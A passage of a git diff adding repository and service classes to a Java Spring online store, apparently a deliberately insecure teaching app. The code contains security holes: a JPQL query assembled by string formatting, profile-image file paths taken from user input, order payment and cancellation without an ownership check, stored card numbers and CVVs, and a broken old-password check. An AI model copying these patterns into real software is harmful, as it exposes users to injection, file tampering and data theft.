entityManager.createQuery(FIND_BY_USER_AND_PRODUCT_QUERY); + query.setParameter(1,userId); + query.setParameter(2,productId); + return (Comment) query.getSingleResult(); + } + +} diff --git a/src/main/java/es/storeapp/business/repositories/OrderLineRepository.java b/src/main/java/es/storeapp/business/repositories/OrderLineRepository.java new file mode 100644 index 0000000..e3702e5 --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/OrderLineRepository.java @@ -0,0 +1,22 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.entities.*; +import jakarta.persistence.Query; +import org.springframework.stereotype.Repository; + +@Repository +public class OrderLineRepository extends AbstractRepository{ + + private static final String FIND_BY_USER_AND_PRODUCT_QUERY = + "SELECT COUNT(*) FROM OrderLine o WHERE " + + "o.order.state = es.storeapp.business.entities.OrderState.COMPLETED " + + "AND o.order.user.id = ?1 AND o.product.id = ?2"; + + public boolean findIfUserBuyProduct(Long userId, Long productId) { + Query query = entityManager.createQuery(FIND_BY_USER_AND_PRODUCT_QUERY); + query.setParameter(1,userId); + query.setParameter(2,productId); + return ((Long) query.getSingleResult()) > 0; + } + +} diff --git a/src/main/java/es/storeapp/business/repositories/OrderRepository.java b/src/main/java/es/storeapp/business/repositories/OrderRepository.java new file mode 100644 index 0000000..402614b --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/OrderRepository.java @@ -0,0 +1,20 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.entities.Order; +import java.util.List; +import jakarta.persistence.Query; +import org.springframework.stereotype.Repository; + +@Repository +public class OrderRepository extends AbstractRepository { + private static final String FIND_BY_USER_QUERY = + "SELECT o FROM Order o WHERE o.user.id = ?1 ORDER BY o.timestamp DESC"; + + @SuppressWarnings("unchecked") + public List findByUserId(Long userId) { + Query query = entityManager.createQuery(FIND_BY_USER_QUERY); + query.setParameter(1,userId); + return (List) query.getResultList(); + } + +} diff --git a/src/main/java/es/storeapp/business/repositories/ProductRepository.java b/src/main/java/es/storeapp/business/repositories/ProductRepository.java new file mode 100644 index 0000000..019f529 --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/ProductRepository.java @@ -0,0 +1,23 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.entities.Product; + +import java.text.MessageFormat; +import java.util.List; +import jakarta.persistence.Query; +import org.springframework.stereotype.Repository; + +@Repository +public class ProductRepository extends AbstractRepository { + + private static final String FIND_BY_CATEGORY_QUERY = + "SELECT p FROM Product p WHERE p.category.name = ?1 ORDER BY p.{0}"; + + @SuppressWarnings("unchecked") + public List findByCategory(String category, String orderColumn) { + Query query = entityManager.createQuery(MessageFormat.format(FIND_BY_CATEGORY_QUERY, orderColumn)); + query.setParameter(1,category); + return (List) query.getResultList(); + } + +} diff --git a/src/main/java/es/storeapp/business/repositories/UserRepository.java b/src/main/java/es/storeapp/business/repositories/UserRepository.java new file mode 100644 index 0000000..9dc5bbe --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/UserRepository.java @@ -0,0 +1,43 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.entities.User; +import jakarta.persistence.NoResultException; +import jakarta.persistence.Query; +import org.springframework.stereotype.Repository; + +@Repository +public class UserRepository extends AbstractRepository { + + private static final String FIND_USER_BY_EMAIL_QUERY = "SELECT u FROM User u WHERE u.email = ?1"; + private static final String COUNT_USER_BY_EMAIL_QUERY = "SELECT COUNT(*) FROM User u WHERE u.email = ?1"; + private static final String LOGIN_QUERY = "SELECT u FROM User u WHERE u.email = ?1 AND u.password = ?2"; + + public User findByEmail(String email) { + try { + Query query = entityManager.createQuery(FIND_USER_BY_EMAIL_QUERY); + query.setParameter(1,email); + return (User) query.getSingleResult(); + } catch (NoResultException e) { + logger.error(e.getMessage(), e); + return null; + } + } + + public boolean existsUser(String email) { + Query query = entityManager.createQuery(COUNT_USER_BY_EMAIL_QUERY); + query.setParameter(1,email); + return ((Long) query.getSingleResult() > 0); + } + + public User findByEmailAndPassword(String email, String password) { + try { + Query query = entityManager.createQuery(LOGIN_QUERY); + query.setParameter(1,email); + query.setParameter(2,password); + return (User) query.getSingleResult(); + } catch (NoResultException e) { + logger.error(e.getMessage(), e); + return null; + } + } +} diff --git a/src/main/java/es/storeapp/business/services/OrderService.java b/src/main/java/es/storeapp/business/services/OrderService.java new file mode 100644 index 0000000..862973e --- /dev/null +++ b/src/main/java/es/storeapp/business/services/OrderService.java @@ -0,0 +1,126 @@ +package es.storeapp.business.services; + +import es.storeapp.business.entities.CreditCard; +import es.storeapp.business.entities.Order; +import es.storeapp.business.entities.OrderLine; +import es.storeapp.business.entities.OrderState; +import es.storeapp.business.entities.Product; +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.exceptions.InvalidStateException; +import es.storeapp.business.repositories.OrderLineRepository; +import es.storeapp.business.repositories.OrderRepository; +import es.storeapp.business.repositories.ProductRepository; +import es.storeapp.business.repositories.UserRepository; +import es.storeapp.business.utils.ExceptionGenerationUtils; +import es.storeapp.common.Constants; +import java.text.MessageFormat; +import java.util.List; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +@Service +public class OrderService { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(OrderService.class); + + @Autowired + private OrderRepository orderRepository; + + @Autowired + private OrderLineRepository orderLineRepository; + + @Autowired + private ProductRepository productRepository; + + @Autowired + private UserRepository userRepository; + + @Autowired + ExceptionGenerationUtils exceptionGenerationUtils; + + @Transactional() + public Order create(User user, String name, String address, Integer price, List products) + throws InstanceNotFoundException { + Order order = new Order(); + order.setName(name); + order.setUser(user); + order.setAddress(address != null ? address : user.getAddress()); + order.setPrice(price); + order.setState(OrderState.PENDING); + order.setTimestamp(System.currentTimeMillis()); + orderRepository.create(order); + for (Long productId : products) { + Product product = productRepository.findById(productId); + product.setSales(product.getSales() + 1); + OrderLine orderLine = new OrderLine(); + orderLine.setPrice(product.getPrice()); + orderLine.setProduct(product); + orderLine.setOrder(order); + orderLineRepository.create(orderLine); + } + return orderRepository.findById(order.getOrderId()); + } + + @Transactional() + public Order pay(User user, Long orderId, String creditCart, Integer cvv, + Integer expirationMonth, Integer expirationYear, Boolean setAsDefault) + throws InstanceNotFoundException, InvalidStateException { + Order order = orderRepository.findById(orderId); + if(order.getState() != OrderState.PENDING) { + if(logger.isWarnEnabled()) { + logger.warn(MessageFormat.format("Trying to pay the order {0}", order)); + } + throw exceptionGenerationUtils.toInvalidStateException(Constants.INVALID_STATE_EXCEPTION_MESSAGE); + } + order.setState(OrderState.COMPLETED); + if(setAsDefault != null && setAsDefault) { + CreditCard card = new CreditCard(); + card.setCard(creditCart); + card.setCvv(cvv); + card.setExpirationMonth(expirationMonth); + card.setExpirationYear(expirationYear); + user.setCard(card); + userRepository.update(user); + } + return orderRepository.update(order); + } + + @Transactional() + public Order cancel(User user, Long orderId) + throws InstanceNotFoundException, InvalidStateException { + Order order = orderRepository.findById(orderId); + if(order.getState() != OrderState.PENDING) { + throw exceptionGenerationUtils.toInvalidStateException(Constants.INVALID_STATE_EXCEPTION_MESSAGE); + } + order.setState(OrderState.CANCELLED); + return orderRepository.update(order); + } + + @Transactional(readOnly = true) + public List findByUserById(Long userId) throws InstanceNotFoundException { + User user = userRepository.findById(userId); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Searching the orders of the user {0}", user.getEmail())); + } + return orderRepository.findByUserId(userId); + } + + @Transactional(readOnly = true) + public Order findById(Long id) throws InstanceNotFoundException { + return orderRepository.findById(id); + } + + @Transactional(readOnly = true) + public boolean findIfUserBuyProduct(Long userId, Long productId) throws InstanceNotFoundException { + User user = userRepository.findById(userId); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Checking if user {0} buy the product {1}", + user.getEmail(), productId)); + } + return orderLineRepository.findIfUserBuyProduct(userId, productId); + } + +} diff --git a/src/main/java/es/storeapp/business/services/ProductService.java b/src/main/java/es/storeapp/business/services/ProductService.java new file mode 100644 index 0000000..97b4d25 --- /dev/null +++ b/src/main/java/es/storeapp/business/services/ProductService.java @@ -0,0 +1,120 @@ +package es.storeapp.business.services; + +import es.storeapp.business.entities.Category; +import es.storeapp.business.entities.Comment; +import es.storeapp.business.entities.Product; +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.repositories.CategoryRepository; +import es.storeapp.business.repositories.CommentRepository; +import es.storeapp.business.repositories.ProductRepository; +import es.storeapp.business.utils.ExceptionGenerationUtils; +import es.storeapp.common.ConfigurationParameters; +import es.storeapp.common.Constants; +import java.text.MessageFormat; +import java.util.List; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.dao.EmptyResultDataAccessException; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +@Service +public class ProductService { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(ProductService.class); + + @Autowired + ConfigurationParameters configurationParameters; + + @Autowired + private ProductRepository productRepository; + + @Autowired + private CategoryRepository categoryRepository; + + @Autowired + private CommentRepository rateRepository; + + @Autowired + ExceptionGenerationUtils exceptionGenerationUtils; + + @Transactional(readOnly = true) + public List findAllProducts() { + return productRepository.findAll(Constants.PRICE_FIELD); + } + + @Transactional(readOnly = true) + public List findProducts(String category) { + if (category == null || category.length() == 0) { + return productRepository.findAll(Constants.PRICE_FIELD); + } else { + return productRepository.findByCategory(category, Constants.PRICE_FIELD); + } + } + + @Transactional(readOnly = false) + public Product findProductById(Long id) throws InstanceNotFoundException { + return productRepository.findById(id); + } + + @Transactional(readOnly = true) + public List findAllCategories() { + return categoryRepository.findAll(); + } + + @Transactional(readOnly = true) + public List findHighlightedCategories() { + return categoryRepository.findHighlighted(); + } + + @Transactional() + public Comment findCommentByUserAndProduct(User user, Long productId) + throws InstanceNotFoundException { + try { + Product product = productRepository.findById(productId); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Searching if the user {0} has commented the product {1}", + user.getEmail(), product.getName())); + } + return rateRepository.findByUserAndProduct(user.getUserId(), productId); + } catch (EmptyResultDataAccessException e) { + return null; + } + } + + @Transactional() + public Comment comment(User user, Long productId, String text, Integer rating) + throws InstanceNotFoundException { + Product product = productRepository.findById(productId); + try { + Comment comment = rateRepository.findByUserAndProduct(user.getUserId(), product.getProductId()); + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("{0} has modified his comment of the product {1}", + user.getName(), product.getName())); + } + product.setTotalScore(product.getTotalScore() - comment.getRating() + rating); + comment.setRating(rating); + comment.setText(text); + comment.setTimestamp(System.currentTimeMillis()); + productRepository.update(product); + return rateRepository.update(comment); + } catch (EmptyResultDataAccessException e) { + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("{0} created a comment of the product {1}", + user.getName(), product.getName())); + } + Comment comment = new Comment(); + comment.setUser(user); + comment.setProduct(product); + comment.setRating(rating); + comment.setText(text); + comment.setTimestamp(System.currentTimeMillis()); + product.setTotalComments(product.getTotalComments() + 1); + product.setTotalScore(product.getTotalScore() + rating); + productRepository.update(product); + return rateRepository.create(comment); + } + } + +} diff --git a/src/main/java/es/storeapp/business/services/UserService.java b/src/main/java/es/storeapp/business/services/UserService.java new file mode 100644 index 0000000..8976de4 --- /dev/null +++ b/src/main/java/es/storeapp/business/services/UserService.java @@ -0,0 +1,244 @@ +package es.storeapp.business.services; + +import es.storeapp.business.entities.User; +import es.storeapp.business.exceptions.AuthenticationException; +import es.storeapp.business.exceptions.DuplicatedResourceException; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.exceptions.ServiceException; +import es.storeapp.business.repositories.UserRepository; +import es.storeapp.business.utils.ExceptionGenerationUtils; +import es.storeapp.common.ConfigurationParameters; +import es.storeapp.common.Constants; +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.nio.file.Files; +import java.util.Locale; +import java.util.Objects; +import java.util.UUID; +import jakarta.annotation.PostConstruct; +import org.apache.commons.compress.utils.IOUtils; +import org.apache.commons.mail.HtmlEmail; +import org.mindrot.jbcrypt.BCrypt; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +@Service +public class UserService { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(UserService.class); + + @Autowired + ConfigurationParameters configurationParameters; + + @Autowired + private UserRepository userRepository; + + @Autowired + private MessageSource messageSource; + + @Autowired + ExceptionGenerationUtils exceptionGenerationUtils; + + private File resourcesDir; + + @PostConstruct + public void init() { + resourcesDir = new File(configurationParameters.getResources()); + } + + @Transactional(readOnly = true) + public User findByEmail(String email) { + return userRepository.findByEmail(email); + } + + @Transactional(readOnly = true) + public User login(String email, String clearPassword) throws AuthenticationException { + if (!userRepository.existsUser(email)) { + throw exceptionGenerationUtils.toAuthenticationException(Constants.AUTH_INVALID_USER_MESSAGE, email); + } + User user = userRepository.findByEmail(email); + if (!BCrypt.checkpw(clearPassword, user.getPassword())) { + throw exceptionGenerationUtils.toAuthenticationException(Constants.AUTH_INVALID_PASSWORD_MESSAGE, email); + } + return user; + } + + @Transactional() + public void sendResetPasswordEmail(String email, String url, Locale locale) + throws AuthenticationException, ServiceException { + User user = userRepository.findByEmail(email); + if (user == null) { + return; + } + String token = UUID.randomUUID().toString(); + + try { + + System.setProperty("mail.smtp.ssl.protocols", "TLSv1.2"); + + HtmlEmail htmlEmail = new HtmlEmail(); + htmlEmail.setHostName(configurationParameters.getMailHost()); + htmlEmail.setSmtpPort(configurationParameters.getMailPort()); + htmlEmail.setSslSmtpPort(Integer.toString(configurationParameters.getMailPort())); + htmlEmail.setAuthentication(configurationParameters.getMailUserName(), + configurationParameters.getMailPassword()); + htmlEmail.setSSLOnConnect(configurationParameters.getMailSslEnable() != null + && configurationParameters.getMailSslEnable()); + if (configurationParameters.getMailStartTlsEnable()) { + htmlEmail.setStartTLSEnabled(true); + htmlEmail.setStartTLSRequired(true); + } + htmlEmail.addTo(email, user.getName()); + htmlEmail.setFrom(configurationParameters.getMailFrom()); + htmlEmail.setSubject(messageSource.getMessage(Constants.MAIL_SUBJECT_MESSAGE, + new Object[]{user.getName()}, locale)); + + String link = url + Constants.PARAMS + + Constants.TOKEN_PARAM + Constants.PARAM_VALUE + token + Constants.NEW_PARAM_VALUE + + Constants.EMAIL_PARAM + Constants.PARAM_VALUE + email; + + htmlEmail.setHtmlMsg(messageSource.getMessage(Constants.MAIL_TEMPLATE_MESSAGE, + new Object[]{user.getName(), link}, locale)); + + htmlEmail.setTextMsg(messageSource.getMessage(Constants.MAIL_HTML_NOT_SUPPORTED_MESSAGE, + new Object[0], locale)); + + htmlEmail.send(); + } catch (Exception ex) { + logger.error(ex.getMessage(), ex); + throw new ServiceException(ex.getMessage()); + } + + user.setResetPasswordToken(token); + userRepository.update(user); + } + + @Transactional + public User create(String name, String email, String password, String address, + String image, byte[] imageContents) throws DuplicatedResourceException { + if (userRepository.findByEmail(email) != null) { + throw exceptionGenerationUtils.toDuplicatedResourceException(Constants.EMAIL_FIELD, email, + Constants.DUPLICATED_INSTANCE_MESSAGE); + } + User user = userRepository.create(new User(name, email, BCrypt.hashpw(password, BCrypt.gensalt()), address, image)); + saveProfileImage(user.getUserId(), image, imageContents); + return user; + } + + @Transactional + public User update(Long id, String name, String email, String address, String image, byte[] imageContents) + throws DuplicatedResourceException, InstanceNotFoundException, ServiceException { + User user = userRepository.findById(id); + User emailUser = userRepository.findByEmail(email); + if (emailUser != null && !Objects.equals(emailUser.getUserId(), user.getUserId())) { + throw exceptionGenerationUtils.toDuplicatedResourceException(Constants.EMAIL_FIELD, email, + Constants.DUPLICATED_INSTANCE_MESSAGE); + } + user.setName(name); + user.setEmail(email); + user.setAddress(address); + if (image != null && image.trim().length() > 0 && imageContents != null) { + try { + deleteProfileImage(id, user.getImage()); + } catch (Exception ex) { + logger.error(ex.getMessage(), ex); + } + saveProfileImage(id, image, imageContents); + user.setImage(image); + } + return userRepository.update(user); + } + + @Transactional + public User changePassword(Long id, String oldPassword, String password) + throws InstanceNotFoundException, AuthenticationException { + User user = userRepository.findById(id); + if (user == null) { + throw exceptionGenerationUtils.toAuthenticationException( + Constants.AUTH_INVALID_USER_MESSAGE, id.toString()); + } + if (userRepository.findByEmailAndPassword(user.getEmail(), BCrypt.hashpw(oldPassword, BCrypt.gensalt())) == null) { + throw exceptionGenerationUtils.toAuthenticationException(Constants.AUTH_INVALID_PASSWORD_MESSAGE, + id.toString()); + } + user.setPassword(BCrypt.hashpw(password, BCrypt.gensalt())); + return userRepository.update(user); + } + + @Transactional + public User changePassword(String email, String password, String token) throws AuthenticationException { + User user = userRepository.findByEmail(email); + if (user == null) { + throw exceptionGenerationUtils.toAuthenticationException(Constants.AUTH_INVALID_USER_MESSAGE, email); + } + if (user.getResetPasswordToken() == null || !user.getResetPasswordToken().equals(token)) { + throw exceptionGenerationUtils.toAuthenticationException(Constants.AUTH_INVALID_TOKEN_MESSAGE, email); + } + user.setPassword(BCrypt.hashpw(password, BCrypt.gensalt())); + user.setResetPasswordToken(null); + return userRepository.update(user); + } + + @Transactional + public User removeImage(Long id) throws InstanceNotFoundException, ServiceException { + User user = userRepository.findById(id); + try { + deleteProfileImage(id, user.getImage()); + } catch (IOException ex) { + logger.error(ex.getMessage(), ex); + throw new ServiceException(ex.getMessage()); + } + user.setImage(null); + return userRepository.update(user); + } + + @Transactional + public byte[] getImage(Long id) throws InstanceNotFoundException { + User user = userRepository.findById(id); + try { + return getProfileImage(id, user.getImage()); + } catch (IOException ex) { + logger.error(ex.getMessage(), ex); + return null; + } + } + + private void saveProfileImage(Long id, String image, byte[] imageContents) { + if (image != null && image.trim().length() > 0 && imageContents != null) { + File userDir = new File(resourcesDir, id.toString()); + userDir.mkdirs(); + File profilePicture = new File(userDir, image); + try (FileOutputStream outputStream = new FileOutputStream(profilePicture);) { + IOUtils.copy(new ByteArrayInputStream(imageContents), outputStream); + } catch (Exception e) { + logger.error(e.getMessage(), e); + } + } + } + + private void deleteProfileImage(Long id, String image) throws IOException { + if (image != null && image.trim().length() > 0) { + File userDir = new File(resourcesDir, id.toString()); + File profilePicture = new File(userDir, image); + Files.delete(profilePicture.toPath()); + } + } + + private byte[] getProfileImage(Long id, String image) throws IOException { + if (image != null && image.trim().length() > 0) { + File userDir = new File(resourcesDir, id.toString()); + File profilePicture = new File(userDir, image); + try (FileInputStream input = new FileInputStream(profilePicture)) { + return IOUtils.toByteArray(input); + } + } + return null; + } + +} diff --git a/src/main/java/es/storeapp/business/utils/ExceptionGenerationUtils.java b/src/main/java/es/storeapp/business/utils/ExceptionGenerationUtils.java new file mode 100644 index 0000000..4aaffe4 --- /dev/null +++ b/src/main/java/es/storeapp/business/utils/ExceptionGenerationUtils.java @@ -0,0 +1,46 @@ +package es.storeapp.business.utils; + +import es.storeapp.business.exceptions.AuthenticationException; +import es.storeapp.business.exceptions.DuplicatedResourceException; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.exceptions.InvalidStateException; +import java.util.Locale; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.context.i18n.LocaleContextHolder; +import org.springframework.stereotype.Component; + +@Component +public class ExceptionGenerationUtils { + + @Autowired + private MessageSource messageSource; + + public InstanceNotFoundException toInstanceNotFoundException(Long id, String type, String messageKey) + throws InstanceNotFoundException { + Locale locale = LocaleContextHolder.getLocale(); + String message = messageSource.getMessage(messageKey, new Object[]{type, id}, locale); + return new InstanceNotFoundException(id, type, message); + } + + public DuplicatedResourceException toDuplicatedResourceException(String resource, String value, String messageKey) + throws DuplicatedResourceException { + Locale locale = LocaleContextHolder.getLocale(); + String message = messageSource.getMessage(messageKey, new Object[]{value, resource}, locale); + return new DuplicatedResourceException(resource, value, message); + } + + public AuthenticationException toAuthenticationException(String messageKey, String user) + throws AuthenticationException { + Locale locale = LocaleContextHolder.getLocale(); + String message = messageSource.getMessage(messageKey, new Object[] {user}, locale); + return new AuthenticationException(message); + } + + public InvalidStateException toInvalidStateException(String messageKey) throws InvalidStateException { + Locale locale = LocaleContextHolder.getLocale(); + String message = messageSource.getMessage(messageKey, new Object[0], locale); + return new InvalidStateException(message); + } + +} diff --git a/src/main/java/es/storeapp/common/ConfigurationParameters.java b/src/main/java/es/storeapp/common/ConfigurationParameters.java new file mode 100644 index 0000000..9e23fc6 --- /dev/null +++ b/src/main/java/es/storeapp/common/ConfigurationParameters.java @@ -0,0 +1,84 @@ +package es.storeapp.common; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Configuration; + +@Configuration +@ConfigurationProperties("server.cofiguration") +public class ConfigurationParameters { + + private String resources; + private String mailHost; + private Integer mailPort; + private String mailUserName; + private String mailPassword; + private Boolean mailSslEnable; + private Boolean mailStartTlsEnable; + private String mailFrom; + + public String getResources() { + return resources; + } + + public void setResources(String resources) { + this.resources = resources; + } + + public String getMailHost() { + return mailHost; + } + + public void setMailHost(String mailHost) { + this.mailHost = mailHost; + } + + public Integer getMailPort() { + return mailPort; + } + + public void setMailPort(Integer mailPort) { + this.mailPort = mailPort; + } + + public String getMailUserName() { + return mailUserName; + } + + public void setMailUserName(String mailUserName) { + this.mailUserName = mailUserName; + } + + public String getMailPassword() { + return mailPassword; + } + + public void setMailPassword(String mailPassword) { + this.mailPassword = mailPassword; + } + + public Boolean getMailSslEnable() { + return mailSslEnable; + } + + public void setMailSslEnable(Boolean mailSslEnable) { + this.mailSslEnable = mailSslEnable; + } + + public String getMailFrom() { + return mailFrom; + } + + public void setMailFrom(String mailFrom) { + this.mailFrom = mailFrom; + } + + public Boolean getMailStartTlsEnable() { + return mailStartTlsEnable; + } + + public void setMailStartTlsEnable(Boolean mailStartTlsEnable) { + this.mailStartTlsEnable = mailStartTlsEnable; + } + + +} diff --git a/src/main/java/es/storeapp/common/Constants.java b/src/main/java/es/storeapp/common/Constants.java new file mode 100644 index 0000000..87d50be --- /dev/null +++ b/src/main/java/es/storeapp/common/Constants.java @@ -0,0 +1,164 @@ +package es.storeapp.common; + + +public class Constants { + + private Constants() { + } + + /* Messages */ + + public static final String AUTH_INVALID_USER_MESSAGE = "auth.invalid.user"; + public static final String AUTH_INVALID_PASSWORD_MESSAGE = "auth.invalid.password"; + public static final String AUTH_INVALID_TOKEN_MESSAGE = "auth.invalid.token"; + public static final String REGISTRATION_INVALID_PARAMS_MESSAGE = "registration.invalid.parameters"; + public static final String UPDATE_PROFILE_INVALID_PARAMS_MESSAGE = "update.profile.invalid.parameters"; + public static final String CHANGE_PASSWORD_INVALID_PARAMS_MESSAGE = "change.password.invalid.parameters"; + public static final String RESET_PASSWORD_INVALID_PARAMS_MESSAGE = "reset.password.invalid.parameters"; + public static final String LOGIN_INVALID_PARAMS_MESSAGE = "login.invalid.parameters"; + public static final String INSTANCE_NOT_FOUND_MESSAGE = "instance.not.found.exception"; + public static final String DUPLICATED_INSTANCE_MESSAGE = "duplicated.instance.exception"; + public static final String DUPLICATED_COMMENT_MESSAGE = "duplicated.comment.exception"; + public static final String INVALID_PROFILE_IMAGE_MESSAGE = "invalid.profile.image"; + public static final String INVALID_STATE_EXCEPTION_MESSAGE = "invalid.state"; + public static final String INVALID_EMAIL_MESSAGE = "invalid.email"; + + public static final String PRODUCT_ADDED_TO_THE_SHOPPING_CART = "product.added.to.the.cart"; + public static final String PRODUCT_REMOVED_FROM_THE_SHOPPING_CART = "product.removed.from.the.cart"; + public static final String PRODUCT_ALREADY_IN_SHOPPING_CART = "product.already.in.cart"; + public static final String PRODUCT_NOT_IN_SHOPPING_CART = "product.not.in.cart"; + public static final String EMPTY_SHOPPING_CART = "shopping.cart.empty"; + public static final String PRODUCT_COMMENT_CREATED = "product.comment.created"; + + public static final String ORDER_AUTOGENERATED_NAME = "order.name.autogenerated"; + public static final String ORDER_SINGLE_PRODUCT_AUTOGENERATED_NAME_MESSAGE = "order.name.single.product.autogenerated"; + public static final String CREATE_ORDER_INVALID_PARAMS_MESSAGE = "create.order.invalid.parameters"; + public static final String PAY_ORDER_INVALID_PARAMS_MESSAGE = "pay.order.invalid.parameters"; + public static final String CANCEL_ORDER_INVALID_PARAMS_MESSAGE = "cancel.order.invalid.parameters"; + + public static final String ORDER_CREATED_MESSAGE = "order.created"; + public static final String ORDER_PAYMENT_COMPLETE_MESSAGE = "order.payment.completed"; + public static final String ORDER_CANCEL_COMPLETE_MESSAGE = "order.cancellation.completed"; + + public static final String REGISTRATION_SUCCESS_MESSAGE = "registration.success"; + public static final String PROFILE_UPDATE_SUCCESS = "profile.updated.success"; + public static final String CHANGE_PASSWORD_SUCCESS = "change.password.success"; + + public static final String MAIL_SUBJECT_MESSAGE = "mail.subject"; + public static final String MAIL_TEMPLATE_MESSAGE = "mail.template"; + public static final String MAIL_HTML_NOT_SUPPORTED_MESSAGE = "mail.html.not.supported"; + public static final String MAIL_SUCCESS_MESSAGE = "mail.sent.success"; + public static final String MAIL_NOT_CONFIGURED_MESSAGE = "mail.not.configured"; + + /* Web Endpoints */ + + public static final String ROOT_ENDPOINT = "/"; + public static final String ALL_ENDPOINTS = "/**"; + public static final String LOGIN_ENDPOINT = "/login"; + public static final String LOGOUT_ENDPOINT = "/logout"; + public static final String USER_PROFILE_ALL_ENDPOINTS = "/profile/**"; + public static final String USER_PROFILE_ENDPOINT = "/profile"; + public static final String USER_PROFILE_IMAGE_ENDPOINT = "/profile/image"; + public static final String USER_PROFILE_IMAGE_REMOVE_ENDPOINT = "/profile/image/remove"; + public static final String REGISTRATION_ENDPOINT = "/registration"; + public static final String ORDERS_ALL_ENDPOINTS = "/orders/**"; + public static final String ORDERS_ENDPOINT = "/orders"; + public static final String ORDER_ENDPOINT = "/orders/{id}"; + public static final String ORDER_ENDPOINT_TEMPLATE = "/orders/{0}"; + public static final String ORDER_CONFIRM_ENDPOINT = "/orders/complete"; + public static final String ORDER_PAYMENT_ENDPOINT = "/orders/{id}/pay"; + public static final String ORDER_PAYMENT_ENDPOINT_TEMPLATE = "/orders/{0}/pay"; + public static final String ORDER_CANCEL_ENDPOINT = "/orders/{id}/cancel"; + public static final String PRODUCTS_ENDPOINT = "/products"; + public static final String PRODUCT_ENDPOINT = "/products/{id}"; + public static final String PRODUCT_TEMPLATE = "/products/{0}"; + public static final String CHANGE_PASSWORD_ENDPOINT = "/changePassword"; + public static final String RESET_PASSWORD_ENDPOINT = "/resetPassword"; + public static final String SEND_EMAIL_ENDPOINT = "/sendEmail"; + public static final String CART_ADD_PRODUCT_ENDPOINT = "/products/{id}/addToCart"; + public static final String CART_REMOVE_PRODUCT_ENDPOINT = "/products/{id}/removeFromCart"; + public static final String CART_ENDPOINT = "/cart"; + public static final String COMMENT_PRODUCT_ENDPOINT = "/products/{id}/rate"; + public static final String EXTERNAL_RESOURCES = "/resources/**"; + public static final String LIBS_RESOURCES = "/webjars/**"; + public static final String SEND_REDIRECT = "redirect:"; + + /* Web Pages */ + + public static final String LOGIN_PAGE = "Login"; + public static final String HOME_PAGE = "Index"; + public static final String ERROR_PAGE = "error"; + public static final String PASSWORD_PAGE = "ChangePassword"; + public static final String SEND_EMAIL_PAGE = "SendEmail"; + public static final String RESET_PASSWORD_PAGE = "ResetPassword"; + public static final String USER_PROFILE_PAGE = "Profile"; + public static final String PRODUCTS_PAGE = "Products"; + public static final String PRODUCT_PAGE = "Product"; + public static final String SHOPPING_CART_PAGE = "Cart"; + public static final String ORDER_COMPLETE_PAGE = "OrderConfirm"; + public static final String ORDER_PAGE = "Order"; + public static final String ORDER_PAYMENT_PAGE = "Payment"; + public static final String ORDERS_PAGE = "Orders"; + public static final String PAYMENTS_PAGE = "Orders"; + public static final String COMMENT_PAGE = "Comment"; + + /* Request/session/model Attributes */ + + public static final String PARAMS = "?"; + public static final String PARAM_VALUE = "="; + public static final String NEW_PARAM_VALUE = "&"; + public static final String USER_SESSION = "user"; + public static final String SHOPPING_CART_SESSION = "shoppingCart"; + public static final String ERROR_MESSAGE = "errorMessage"; + public static final String EXCEPTION = "exception"; + public static final String WARNING_MESSAGE = "warningMessage"; + public static final String SUCCESS_MESSAGE = "successMessage"; + public static final String MESSAGE = "message"; /* predefined */ + public static final String LOGIN_FORM = "loginForm"; + public static final String USER_PROFILE_FORM = "userProfileForm"; + public static final String PASSWORD_FORM = "passwordForm"; + public static final String RESET_PASSWORD_FORM = "resetPasswordForm"; + public static final String COMMENT_FORM = "commentForm"; + public static final String PAYMENT_FORM = "paymentForm"; + public static final String NEXT_PAGE = "next"; + public static final String CATEGORIES = "categories"; + public static final String PRODUCTS = "products"; + public static final String PRODUCTS_ARRAY = "products[]"; + public static final String PRODUCT = "product"; + public static final String ORDER_FORM = "orderForm"; + public static final String ORDERS = "orders"; + public static final String ORDER = "order"; + public static final String PAY_NOW = "pay"; + public static final String BUY_BY_USER = "buyByUser"; + public static final String EMAIL_PARAM = "email"; + public static final String TOKEN_PARAM = "token"; + + /* Entities, attributes and tables */ + + public static final String USER_ENTITY = "User"; + public static final String PRODUCT_ENTITY = "Product"; + public static final String CATEGORY_ENTITY = "Category"; + public static final String COMMENT_ENTITY = "Comment"; + public static final String ORDER_ENTITY = "Order"; + public static final String ORDER_LINE_ENTITY = "OrderLine"; + + public static final String USERS_TABLE = "Users"; + public static final String PRODUCTS_TABLE = "Products"; + public static final String CATEGORIES_TABLE = "Categories"; + public static final String COMMENTS_TABLE = "Comments"; + public static 